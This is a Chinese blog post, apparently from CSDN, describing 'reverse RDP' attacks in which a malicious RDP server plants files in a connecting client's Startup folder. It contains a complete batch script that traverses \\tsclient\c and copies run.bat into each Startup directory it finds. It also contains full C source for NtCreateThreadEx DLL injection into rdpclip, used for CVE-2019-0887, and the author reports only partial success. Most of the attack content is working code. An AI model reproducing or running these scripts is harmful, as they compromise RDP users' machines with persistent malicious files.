开启rdp_RDP反向攻击

RDP反向攻击

介绍

这里讲两种攻击方式:

  • 利用挂载盘符进行攻击

  • 利用CVE-2019-0887进行攻击

两者都是在攻击的登录远程桌面时,向攻击者PC的启动目录写入恶意文件,需要重启才能运行恶意文件。
我这里测试的时候,存在很多问题,尤其是后者,较不稳定,按照严格意义并没有复现成功,也许是操作系统问题,也许是代码问题。

利用挂载盘符

原理是通过访问tsclient,并通过目录遍历找到启动目录,将恶意文件写入其中。
tsclient是通过远程桌面连接到远程计算机时,自动分配的一个主机名。
利用该方式的前提是需要开启挂载盘符。

4f9a3b1a02087aeea7544ac8766f2c74.png

当开启后,在被登录服务器端执行命令:
dir \tsclient\c
但是要执行其他命令就会拒绝访问。8d28cbf2fb11ed0a51f0f6ffc1ea7998.png这里给出一个bat脚本,运行后就可以自动对登录PC的启动项进行写入。65de4ff4f866ce2ed0fd1c7cb644352b.png

@echo off

timeout 1 >nul 2>&1

mkdir \\tsclient\c\temp >nul 2>&1

mkdir C:\temp >nul 2>&1

copy run.bat C:\temp >nul 2>&1

copy run.bat \\tsclient\c\temp >nul 2>&1

del /q %TEMP%\temp_00.txt >nul 2>&1

set dirs=dir /a:d /b /s \\tsclient\c\users\*startup*

echo|%dirs%|findstr /i "Microsoft\Windows\Start Menu\Programs\Startup">>"%TEMP%\temp_00.txt"

for /F "tokens=*" %%a in (%TEMP%\temp_00.txt) DO (

copy run.bat "%%a" >nul 2>&1

copy C:\temp\run.bat "%%a" >nul 2>&1

copy \\tsclient\c\temp\run.bat "%%a" >nul 2>&1

)

del /q %TEMP%\temp_00.txt >nul 2>&1

测试中第一次没成功,好像是权限问题,拒绝访问。4085d8f8909148faa78673907644e9da.png换了个环境测试,成功写入。3a417737cf3de6163ab727f9dd5610e8.png

利用CVE-2019-0887进行攻击

原理这里不做进一步讲解,可以参考文章2.这里只做简单说明,向rdpclip进程中注入dll,hook几个关键函数,对Hdrop数据进行修改,在客户端复制的时候触发,同时粘贴多个文件,路径可自定义(我没成功)。在触发成功时,可以看到ClipSpy中FileGroupDescriptorW中包含了两个文件名。

上面的是真实复制的文件。

1116c77f0b2384025e0a5fe112016edd.png

下面的是hook后增加的恶意文件,我这里没有成功,只能同时复制到桌面,没有能复制到启动目录(我改了代码),原始的代码编译的dll,一触发粘贴,甚至刚复制完,rdpclip进程就崩溃了。

54e11c5a1dac69b625e2419870f49a90.png

粘贴后桌面出现两个文件

e643e7d03638c1e70f3d74a455a1f7f5.png

测试中,就在win7上成功过,其他的都有问题,就在win7上也时常出现崩溃的问题,没有好的办法解决。贴下注入的代码,参考3gstudent的代码。

#include

#include

#include

#include

#pragma comment(lib,"Advapi32.lib")

typedef NTSTATUS(NTAPI* pfnNtCreateThreadEx)

(

OUT PHANDLE hThread,

IN ACCESS_MASK DesiredAccess,

IN PVOID ObjectAttributes,

IN HANDLE ProcessHandle,

IN PVOID lpStartAddress,

IN PVOID lpParameter,

IN ULONG Flags,

IN SIZE_T StackZeroBits,

IN SIZE_T SizeOfStackCommit,

IN SIZE_T SizeOfStackReserve,

OUT PVOID lpBytesBuffer);

#define NT_SUCCESS(x) ((x) >= 0)

typedef struct _LSA_UNICODE_STRING {

USHORT Length;

USHORT MaximumLength;

PWSTR Buffer;

} LSA_UNICODE_STRING, *PLSA_UNICODE_STRING, UNICODE_STRING, *PUNICODE_STRING;

typedef NTSTATUS(NTAPI *pRtlInitUnicodeString)(PUNICODE_STRING, PCWSTR);

typedef NTSTATUS(NTAPI *pLdrLoadDll)(PWCHAR, ULONG, PUNICODE_STRING, PHANDLE);

typedef DWORD64(WINAPI *_NtCreateThreadEx64)(PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, LPVOID ObjectAttributes, HANDLE ProcessHandle, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, BOOL CreateSuspended, DWORD64 dwStackSize, DWORD64 dw1, DWORD64 dw2, LPVOID Unknown);

typedef struct _THREAD_DATA

{

pRtlInitUnicodeString fnRtlInitUnicodeString;

pLdrLoadDll fnLdrLoadDll;

UNICODE_STRING UnicodeString;

WCHAR DllName[260];

PWCHAR DllPath;

ULONG Flags;

HANDLE ModuleHandle;

}THREAD_DATA, *PTHREAD_DATA;

HANDLE WINAPI ThreadProc(PTHREAD_DATA data)

{

data->fnRtlInitUnicodeString(&data->UnicodeString, data->DllName);

data->fnLdrLoadDll(data->DllPath, data->Flags, &data->UnicodeString, &data->ModuleHandle);

return data->ModuleHandle;

}

DWORD WINAPI ThreadProcEnd()

{

return 0;

}

HANDLE MyCreateRemoteThread(HANDLE hProcess, LPTHREAD_START_ROUTINE pThreadProc, LPVOID pRemoteBuf)

{

HANDLE hThread = NULL;

FARPROC pFunc = NULL;

pFunc = GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtCreateThreadEx");

if (pFunc == NULL)

{

printf("[!]GetProcAddress (\"NtCreateThreadEx\")error\n");

return NULL;

}

((_NtCreateThreadEx64)pFunc)(&hThread, 0x1FFFFF, NULL, hProcess, pThreadProc, pRemoteBuf, FALSE, NULL, NULL, NULL, NULL);

if (hThread == NULL)

{

printf("[!]MyCreateRemoteThread : NtCreateThreadEx error\n");

return NULL;

}

if (WAIT_FAILED == WaitForSingleObject(hThread, INFINITE))

{

printf("[!]MyCreateRemoteThread : WaitForSingleObject error\n");

return NULL;

}

return hThread;

}

BOOL InjectDll(UINT32 ProcessId, char *DllPath)

{

if (strstr(DllPath, "\\\\") != 0)

{

printf("[!]Wrong Dll path\n");

return FALSE;

}

if (strstr(DllPath, "\\") == 0)

{

printf("[!]Need Dll full path\n");

return FALSE;

}

size_t len = strlen(DllPath) + 1;

size_t converted = 0;

wchar_t* DllFullPath;

DllFullPath = (wchar_t*)malloc(len * sizeof(wchar_t));

mbstowcs_s(&converted, DllFullPath, len, DllPath, _TRUNCATE);

LPVOID pThreadData = NULL;

LPVOID pCode = NULL;

HANDLE ProcessHandle = NULL;

HANDLE hThread = NULL;

BOOL bRet = FALSE;

__try

{

ProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessId);

if (ProcessHandle == NULL)

{

printf("[!]OpenProcess error\n");

__leave;

}

THREAD_DATA data;

HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll");

data.fnRtlInitUnicodeString = (pRtlInitUnicodeString)GetProcAddress(hNtdll, "RtlInitUnicodeString");

data.fnLdrLoadDll = (pLdrLoadDll)GetProcAddress(hNtdll, "LdrLoadDll");

memcpy(data.DllName, DllFullPath, (wcslen(DllFullPath) + 1) * sizeof(WCHAR));

data.DllPath = NULL;

data.Flags = 0;

data.ModuleHandle = INVALID_HANDLE_VALUE;

pThreadData = VirtualAllocEx(ProcessHandle, NULL, 4096, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

if (pThreadData == NULL)

{

CloseHandle(ProcessHandle);

printf("[!]VirtualAllocEx error\n");

__leave;

}

BOOL bWriteOK = WriteProcessMemory(ProcessHandle, pThreadData, &data, sizeof(data), NULL);

if (!bWriteOK)

{

CloseHandle(ProcessHandle);

printf("[!]WriteProcessMemory error\n");

__leave;

}

DWORD SizeOfCode = (DWORD)ThreadProcEnd - (DWORD)ThreadProc;

pCode = VirtualAllocEx(ProcessHandle, NULL, SizeOfCode, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

if (pCode == NULL)

{

CloseHandle(ProcessHandle);

printf("[!]VirtualAllocEx error,%d\n", GetLastError());

__leave;

}

bWriteOK = WriteProcessMemory(ProcessHandle, pCode, (PVOID)ThreadProc, SizeOfCode, NULL);

if (!bWriteOK)

{

CloseHandle(ProcessHandle);

printf("[!]WriteProcessMemory error\n");

__leave;

}

hThread = MyCreateRemoteThread(ProcessHandle, (LPTHREAD_START_ROUTINE)pCode, pThreadData);

if (hThread == NULL)

{

CloseHandle(ProcessHandle);

printf("[!]MyCreateRemoteThread error\n");

__leave;

}

WaitForSingleObject(hThread, INFINITE);

bRet = TRUE;

}

__finally

{

if (pThreadData != NULL)

VirtualFreeEx(ProcessHandle, pThreadData, 0, MEM_RELEASE);

if (pCode != NULL)

VirtualFreeEx(ProcessHandle, pCode, 0, MEM_RELEASE);

if (hThread != NULL)

CloseHandle(hThread);

if (ProcessHandle != NULL)

CloseHandle(ProcessHandle);

}

return bRet;

}

BOOL EnableDebugPrivilege(BOOL fEnable)

{

BOOL fOk = FALSE;

HANDLE hToken;

if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))

{

TOKEN_PRIVILEGES tp;

tp.PrivilegeCount = 1;

LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);

tp.Privileges[0].Attributes = fEnable ? SE_PRIVILEGE_ENABLED : 0;

AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);

fOk = (GetLastError() == ERROR_SUCCESS);

CloseHandle(hToken);

}

return(fOk);

}

int main(int argc, char *argv[])

{

if (argc != 3)

{

printf("Use NtCreateThreadEx to inject dll\n\n");

printf("Usage:\n");

printf("%s \n", argv[0]);

return 0;

}

if (!EnableDebugPrivilege(TRUE))

{

printf("[!]AdjustTokenPrivileges Failed.\n", GetLastError());

}

if (!InjectDll((DWORD)atoi(argv[1]), argv[2]))

{

printf("[!]InjectDll error \n");

return 1;

}

printf("[+]InjectDll success\n");

return 0;

}

Usage:

x.exe pid path

或者用我之前的注入代码也可以。
https://github.com/hmoytx/RdpThief_tools/blob/master/use/detourstest.cpp
自己修改对应进程名和路径即可。

参考

https://mp.weixin.qq.com/s/Aog7M_6XauRi96wFeRo6sg https://paper.seebug.org/1074/

https://paper.seebug.org/1074/

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值